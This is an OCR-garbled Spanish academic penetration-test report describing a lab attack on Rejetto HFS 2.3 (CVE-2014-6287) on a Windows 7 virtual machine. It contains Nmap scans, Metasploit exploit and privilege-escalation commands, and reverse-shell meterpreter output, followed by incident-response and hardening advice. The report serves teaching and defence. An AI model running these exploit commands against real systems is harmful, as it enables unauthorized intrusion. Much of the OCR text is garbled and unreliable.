'o' El programa estd desactivado

& lconos del dres den

I Opciones de carpetd) Si usa otro programa que busca software perjudicial o no deseado, use el Bndizacion
) Centro de actividades para comprobar el estado del programa.

€1 Opciones de Internef n
: Si desea usar este programa, haga cic aui para activarlo,

@ Programas predeter to de voz

& Recuperacion

i Solucién de problem Es
&= Teclado Gerrar tros sensores
B Windows CardSpac = elat

Adaptador de Ethernet Conexidn de &rea local:

Sufijo DNS especifico para la cunexmn tendawifi.con
Uincule: direccidn IPub local fe 9ced:4e38:7898x11
Direccidn IPud. . 68.19.111
Miscara de subred 55.255.98
Puerta de enlace predeterminada H 192 168.19.254

Figura 8 Windows Defender Inactivo
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9.2.2 Aplicacion HFS 2.3 Rejetto

En la carpeta descargas del usuario del equipo se encuentra el ejecutable de la
aplicacion Rejetto HFS 2.3, se ejecuta y mediante el uso de un navegador de
internet se tiene acceso a ella por url, localhost, puerto http 80.

b usuaric » Descargas » - 4?|| Buscar

Abrir Compartir con = Mueva carpeta

it Mombre

is . DarkComet 123456

ot

No files in this folder

rrrrr

Ble | . [clele]
Figura 10 HFS 2.3 Servicio Activo

9.2.3 Exploracion y Busqueda de Vulnerabilidades NMAP

En primera instancia se procede a validar comunicacion bidireccional a nivel de
red, mediante el uso del comando ping.
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File Actions Edit

aaa

View Help

kali@kali: ~

1: <LOOPBACK,UP, LOWER_UP> mtu 65536 gqdisc noqueue state UNKNOWN group def

ault glen 1000
link/loopback
inet

0 )0:00:00:00 brd
/8 scope host lo

valid_1ft forever preferred_lft forever

inet6 /128

scope host

valid_1ft forever preferred_lft forever
2: <BROADCAST ,MULTICAST,UP, LOWER_UP> mtu 1500 qdisc pfifo_fast state UP

group default qlen 1000
Jaot ag:0as27:0

AR P,
inet
ute eLnv

4:8d brd ff:ff:ff:ff:ff:ff
/24 Hrd

valid_1ft 86318sec preferred_lft 86318sec

inet6

/64 scope link noprefixroute

valid_1ft forever preferred_lft forever

scope global dynamic noprefixro

Figura 11 Configuracion TCP/IP MV Kali Linux

Una vez en red, se realiza ping a la maquina servidor de Windows 7 64 bits.

from
from
from
from
from
from
from
from
from

Figura 12 Resultado Ping a Servidor W7

.111: icmp_se
.111: icmp_se
.111: icmp_s
113 €
.111: icmp_s
.111: icmp_
.111: icmp_seq=7
.111: icmp_se 1

- 168

Ya con pruebas de comunicacion correctas, se procede a ejecutar la
exploracion y deteccién de vulnerabilidades para lo cual se usa Nmap y se
tienen los puertos de servicio a la escucha en este servidor. En la ilustracion 8,
se puede apreciar el puerto http/80, abierto con un servicio HttpFileServer
HTTP 2.3 con una cabecera de HFS en version 2.3.

nmap 192.1 11

Starting Nmap 7.91 ( htt|
Nmap scan report for 1

osed ports
SFRVTCF VERSTON

open http

open
open
open
open

HttpFileSe

osoft Windows netbi
7 P al 7601 ice Pack 1 mic
Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
PT httpd 2 P/UPNP)

| _http. ver-header: Mi
|_http-title: Service Un
tcp open http
ver-header: Microsoft-HTTPAPI/2.0
und

m:

Info: Host:

ft HTTPAPI httpd 2.0 (SSDP/UPnP)

c Microsoft Windows
c Microsoft Windows
®
c

: cpe:/o:microsoft:windows

up: WORKGROUP)

Figura 13 Resultado de Escaneo con Nmap
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Atendiendo el alcance de la investigacion y habiendo encontrado el servicio a la
escucha se procede a buscar vulnerabilidades y la existencia de algun Esploit
para materializar la penetracion al sistema.

Se identifica por la corporacion MITRE, la CVE-2014-6287, registro en base de
datos nacional de vulnerabilidades, la cual describe que la funcion de busqueda
findMacroMarker en Rejetto HTTP File Server 2.3x permite a atacantes remotos
ejecutar programas arbitrarios a través de una secuencia de accion de
busqueda. (MITRE Corporation, 2021)

9.3 EXPLOTACION DE VULNERABILIDAD

Mediante la selecta agrupacién de herramientas para la seguridad que ofrece la
distribucion GNU Linux Debian 64, Kali Linux. Usaremos Metasploit y se
buscara si se tiene un Esploit para HFS 2.3, dado que ya se investigd y
encontré la existencia de una vulnerabilidad para esta version del servicio.

fdb run

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for kali
[+] Starting database
[+] Creating database user 'msf’
[+] Creating databases 'msf’
( )

We have kept /usr/bin/python pointing to Python 2 for backwards
compatibility. Learn how to change this and avoid this message:
= https://wm.kali.org/docs/general-use/python3-transition/

(Run: “touch ~/.hushlogin” to hide this message)
[+] Creating databases 'msf_test'

)

We have kept /usr/bin/python pointing to Python 2 for backwards
compatibility. Learn how to change this and avoid this message:

= https://wmw.kali.org/docs/general-use/ hon3-transition/

(Run: “touch ~/.hushlogin” to hide this messag
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml’
[+] Creating initial database schema

Figura 14 Ejecucion de Metasploit en Kali Linux
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Una vez se ingresa a la recopilacién de Metasploit en la maquina virtual de Kali
Linux, se hace uso del comando de busqueda para HFS 2.3, se tienen los
siguientes resultados: ver ilustracion 10.

in a module, use to go
prompt

Interact with a module by name or index. For example

Figura 15 Busqueda de Esploit para Rejetto HFS 2.3

9.3.1 Exploit Windows HTTP Rejetto HFS

Una vez la busqueda en Metasploit version 6, da como resultado una
herramienta para explotar la vulnerabilidad en Windows para HTTP Rejetto HFS
2.3. Se ejecuta comando de uso y muestra de opciones para su ejecucion.

msf6 exploit( / 5 ) > show options
Module options (exploit/windows/http/rejetto_hfs_exec):
Name Current Setting Required Description

HTTPDELAY 10 Seconds to wait before terminating web server

Proxies A proxy chain of format type:host:port[,type:host:port][ ...

RHOSTS The et host(s), range CIDR identifier, or hosts file with syntax 'file:<path>

RPORT 80 t port (TCP)

SRVHOST 0.0.0.0 The local host or network interface to listen on. This must be an address on the 1o
addresses.

SRVPORT 8080 The local port to listen on

SSL false Negotiate SSL/TLS for outgoing connections

SSLCert Path to a custom SSL certificate (default is randomly generated)

TARGETURI / The path of the web application

URIPATH The URI to use for this exploit (default is random)

VHOST HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
1

LHOST 92.168.19.110 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

0 Automatic

Figura 16 Uso y Opciones de Esploit Rejetto
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Los comandos: 1) set rhost 192.168.19.111 (Equipo a atacar), 2) set Ihost
192.168.19.100 Equipo atacante y 3) run, corre el script.

msf6 exploit( ) > set rhosts 192.168.19.111
rhosts = 192.168.19.111

msf6 exploit( ) > set lhost 192.168.19.110
lhost = 192.168.19.110

msf6 exploit( ) > run

Started reverse TCP handler on 192.168.19.110:4444
Using URL: http://0.0.0.0:8080/aSbcflzXWVL
Local IP: http://192.168.19.110:8080/aSbcf1zXWVL

Server started.

Sending a malicious request to /

Payload request received: /aSbcflzXWVL

Sending stage (175174 bytes) to 192.168.19.111

Sending stage (175174 bytes) to 192.168.19.111

Sending stage (175174 bytes) to 192.168.19.111

Tried to delete ¥TEMP%\GviJQFkL.vbs, unknown result
Meterpreter session 1 opened (192.168.19.110:4444 — 192

Meterpreter session 2 opened (192.168.19.110:4444 — 192
Meterpreter session 3 opened (192.168.19.110:4444 — 192

Figura 17 Correr Script de Explotacion Inicial

{24 HFS ~ HTTP File Server23 Build 288 [ro|[-E | [sa]

& Menu | {3‘ Port: 80 | € You are in Easy mode |
m Open in browser  http://192.16819.111/ "] Cepy to clipboard

Virtual File System Log

; 09:29:25 p.m. 127.0.0.1:49262 Requested GET /
09:31:28 p.m. 127.0.0.1:49276 Requested GET /
09:47:59 p.m. 192.168.19.110:57336 Requested GET /
(09:48:08 p.m. 192.168.19.110:57342 Requested GET /
09:52:45 p.m. 192.168.19.110:57392 Requested GET /

w8 IP address 1 File Status Speed  Tim

<[ 1 b

Out: 0.0 KB/s  In: 0.0 KB/s

Figura 18 Consola de Servicio HFS en Equipo Servidor

Ya con acceso a comandos desde meterpreter, identificamos la cuenta de
usuario en la maquina Windows 7 y el numero de sesién y con el comando de
busqueda preguntamos por un médulo sugerido.

2010-03-09 o [ X r DHTML Behaviors Use After Free

SharePoint aTable Deserialization
Timbuktu PlughNTC Named Pipe Buffer Overflow

Figura 19 Mddulo Sugerido Rejetto HFS EXEC Esploit Windows
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9.3.1.1 Modulo Local Esploit Suggester

Se selecciona el uso del mddulo multi/recon/local_exploit_suggester y se
visualizan las opciones para su ejecucion.

msf6 exploit( ) > use 2
msf6 post( ) > show options

Module options (post/multi/recon/local_exploit_suggester):

Name Current Setting Required Description
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits

Figura 20 Modulo Sugerido Para Explotar Vulnerabilidad

Con los comandos: 1) set session 3, acorde al comando bg en paso anterior, 2)
run, corremos el médulo.

Esto nos entregara como resultados los objetivos para atacar la vulnerabilidad
en el equipo Servidor.

msf6 post(

to be vulnerable.

Figura 21 Puntos Objetivos para atacar la vulnerabilidad

Se toma uno de los puntos objetivo y se visualiza las opciones para ejecucion:

e windows/local/ms16_075_reflection_juicy
Se realiza proceso de ejecucion del Esploit se completa, pero no es
capaz de crear la sesiébn de consola reversa en el equipo servidor
Windows 7 64 bits.

¢ exploit/windows/local/tokenmagic
Se realiza proceso de ejecucion del Exploit se completa, pero no es
capaz de crear la sesion de consola reversa en el equipo servidor
Windows 7 64 bits, a pesar de tener un mensaje de disfrutar el Shell, no
fue posible.
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msf6 exploit( ) > show options
Module options (exploit/windows/local/ms16_075_reflection_juicy):
Name Current Setting Required Description
CLSID {4991d34b-80a1-4291-83b6-3328366b9097} yes Set CLSID value of the DCOM to trigger
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description

EXITFUNC none yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.19.110 = The listen address (an interface may be specified)
LPORT 444 yes The listen port

Exploit target:

Id Name

0 Automatic

lhost 192.
168.19.110

9898
rable (Windows 7 (6.1 Build
ploit ...
loit DLL im 196 ...

configuration int

cution to complete.

Figura 22 windows/local/ms16_075_reflection_juicy

e windows/local/ppr_flatten_rec

Este tercer objetivo una vez mas no obtiene el resultado esperado, ya
gue no es compatible con sistemas de 64 bits.
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msf6 exploit( ) > show options
Module options (exploit/windows/local/tokenmagic):

Name Current Setting Required Description

METHOD SERVICE SERVICE or DLL, plea select which attack method you would like to use (SERVICE by default).
Note that the System 0O

r service which loa he overwritten DLL when using the DLL method can take up to 10
s to trigger (
FILENAME JGToyjEup
oLpIj 0 Service Name to

S ON yes The session to on.

WRITABLE_DIR Directory to write file to (%TEMP% by default).
Payload options (windows/x64/meterpreter/reve

Current Setting Required Description
yes Exit technique (Accepted h, thread, process, none)

yes e en address (an interface may be specified)
yes

Automatic

msf6 exploit( session 3

session = 3

msf6 exploit( lhost 192.168.19.110
lhost = 192.168.19.110

msf6 exploit( lport 4444
lport = 4444
msf6 exploit( run

Started reverse TCP handler on 192.168.19.110:4444
Executing automatic check (disable AutoCheck to override)
The target appears to be vulnerable.
Checking Target
Attempting to PrivEsc on PC202006 via session ID: 3
Uploading payload to sers\usuario\AppData\Local\Temp\
Running Exploit on PC202006
Executing TokenMagic PowerShell script

[+] Enjoy the shell!

Exploit completed no session was created.

Figura 23 windows/local/ppr_flatten_rec
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9.4

msf6 exploit( ) > show options
Module options (exploit/windows/local/ppr_flatten_rec):

Name Current Setting Required Description

SESSION yes The session to run this module on.

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.19.110 yes The listen address (an interface may be specified)

LPORT AN yes The listen port

Exploit target:

Id Name

@ Automatic

msf6 exploit( ) > set session 3
session = 3
6 exploit( ) > set lhost 192.168.19.110
t = 192.168.19.110
) > set lport 9898

i

Exploit aborted due : G ing against 64-bit systems is not supported
CXPLOLL CUMPLELEU, UUL 10 SES5100 Wds Lredled.

msf6 exploit( ) > 192.168.19.111 - Meterpreter session 2 closed. Reason: Died
192.168.19.111 - Meterpreter session 1 closed. Reason: Died
192.168.19.111 - Meterpreter session 3 closed. Reason: Died

Figura 24 windows/local/ppr_flatten_rec

RESULTADOS DE PRUEBAS DE PENETRACION

Se realizo proceso de investigacion, y se encontrd vulnerabilidad para
HFS 2.3 Rejetto, en sistema operativo Windows 7 64 bits. CVE-2014-
6287. (MITRE Corporation, 2021)

Se busco exploit para explotar dicha vulnerabilidad, sin éxito, a pesar de
gue la vulnerabilidad existe y esta comprobaba mediante el escaneo de
Nmap. No fue posible explotar y obtener consola reversa.

Por lo tanto, se concluye que la fuga de informacion puede estar ligada
a esta vulnerabilidad, pero desde un servidor de 32 bits, ya que se hizo
el mismo procedimiento en una maquina Windows 32 bits y se logro
apertura de consola reversa y a su vez crear un usuario como
administrador local. Ver Anexo A. (Explotacién de vulnerabilidad para
Rejetto HFS 2.3 en Windows 7 32 bits.)
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10.ATAQUE EN TIEMPO REAL

10.1 QUE HACER ANTE UN INMINENTE ATAQUE EN TIEMPO REAL

Durante un ataque en tiempo real, en primera instancia es estar informado de los
servicios que se tienen en DMZ, y estar expectante de que alguna solicitud a la
mesa de ayuda o algun reporte de cliente o usuario final genere alerta de una
posible denegacion de servicio o ataque informatico.

Normalmente ante un ataque en tiempo real evidenciaremos la caida de un
servicio publicado, y al intentar volver a levantar puede ser dificil o casi imposible
llevarlo a cabo.

En estos casos se deben conocer las rutas de logs de servicio e ingresar a ellos,
una tarea dificil, ya que en ocasiones nos damos cuenta del ataque muy tarde y
estos archivos por su peso no permiten leer los eventos sucedidos.

Si es este el caso, se encontraran direcciones IP publicas de atacantes, para lo
cual es importante poder automatizar la lectura del log, obteniendo el mayor
namero de direcciones IP y haciendo uso de script poder crear reglas de
denegacién o bloqueo en el firewall, esto con el propdsito de lograr levantar
nuevamente el servicio.

Una vez se tenga el servicio en linea nuevamente es crucial, investigar si no
contamos con los parches actualizados del fabricante del software o si existe
alguna vulnerabilidad explotada.

Proceder a actualizar y entrar en cuarentena al servicio, monitoreo de paquetes de
red hacia el equipo, copias de seguridad con mayor regularidad y en cuanto se
detecte una nueva incursion, validar la posibilidad de implementar en una nueva
maguina desde cero el servicio, ya que muchas veces el dafio es irreversible y los
bots atacantes capturan nuevamente con mayor facilidad el servidor propio.
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10.2 MEDIDAS PREVENTIVAS DE HARDENIZACION

e Evitar la instalacion de software no necesario para el correcto
funcionamiento del o de los servicios.

e Disefiar tareas automaticas de ejecucion de los comandos de actualizacion
a nivel del sistema operativo, parches del servicio, etc. Con la periodicidad
pertinente que garantice la actualizacion ante vulnerabilidades detectadas
en el pasar del tiempo.

e Practica de envejecimiento de contrasefias, cambios obligatorios, niveles
de complejidad altos, capacitacion a los usuarios para no compartir, ni
entregar a andénimos sus credenciales, bloqueo ante intentos fallidos de
inicio de sesion.

e Realizar analisis de vulnerabilidades con herramientas como Nmap y
consulta a las bases de datos globales de vulnerabilidades de los servicios
en las versiones implementadas, para adelantarse ante una posible
explotacion de estas.

10.3 BLUE TEAM vs EQUIPO DE RESPUESTA ANTE INCIDENTES
(it Digital Security, 2021)

BLUETEAM es un grupo multidisciplinar de indole investigativa que rastrean los
ciber incidentes que se generan un sistema informético, a diferencia de un
equipo de respuesta ante incidentes el cual normalmente no tiene un nimero
suficiente de miembros, por lo cual, es mas especifico en lo técnico para asi
atender incidentes de ciberseguridad mediante herramientas preventivas,
correctivas y procedimientos.

10.4 CIS — CENTER FOR INTERNET SECURITY
Si se tiene la posibilidad de trabajar con un centro para la seguridad en internet,

se pueden tener varios usos para la investigacion multidisciplinar de ciber
incidentes (cisecurity, 2021):

e Proteccion mediante controles de ataques informaticos.
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10.5

Usos de software de marcas reconocidas contra las amenazas
cibernéticas.

Acceso a recursos para prevenir, proteger, rapida respuesta vy
recuperacion ante las amenazas.

SIEM — SECURITY INFORMATION AND EVENT MANAGMENT

SIEM es una solucién que provee la capacidad de deteccion, respuesta y
neutralizacion de amenazas informéticas (nsit, 2021).

Esta solucion, permite el control absoluto a nivel de seguridad informética de
una compafia, garantizando una linea de tiempo corta segundo a segundo de
los sucesos de un sistema informético.

Funcionalidades:

10.6

Centralizacion de la informacion de seguridad.
Automatizacion de tareas.

Respuesta automatica a eventos y amenazas.
Disminucion del tiempo de deteccion de ataques.
Informacion rapida y eficiente para realizar andlisis forense.
Alertas de seguridades eficientes.

Andlisis y correlacion de logs en tiempo real.
Seguimiento de eventos.

Mejor manejo del riesgo.

Manejo de métricas de seguridad.

Deteccion de activos.

Evaluacion de vulnerabilidades.

Deteccion de violaciones de seguridad.
Monitoreo de comportamiento.

CONTENCION DE ATAQUES INFORMATICOS

Herramientas para contener un ataque informatico:

Reglas de Firewall
IDS (Sistemas de Deteccién de Intrusos)
Antivirus
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CONCLUSIONES

El marco legal colombiano carece de buenas herramientas para evaluar las
conductas antes penetracion de sistemas de informacion, sin embargo, existen
leyes vigentes que soportan los procesos de étical hacking, y es fundamental en
conjunto con las conductas éticas de la profesion, llevar a cabo los procesos de
pruebas de penetracion ajustados a esta normativa.

Los equipos Blue Team y Red Team, se deben justificar desde la necesidad de la
seguridad informatica. Es importante que estas técnicas permitan poner en
videncia las vulnerabilidades antes de que se materialicen y posterior a ello,
generar investigacion forense.
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RECOMENDACION

Los miembros de infraestructura Tl de las organizaciones dedicados a la
seguridad informética, deben lograr llegar hacia los altos mandos, logrando llevar
a cabo, capacitacion sobre la importancia del Etical Hacking y la implementacion
de pruebas de penetracion a través de los equipos Blue Team y Red Team.
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ANEXO A URL VIDEO SUSTENTACION
https://youtu.be/JLOA4AwW6hhWI
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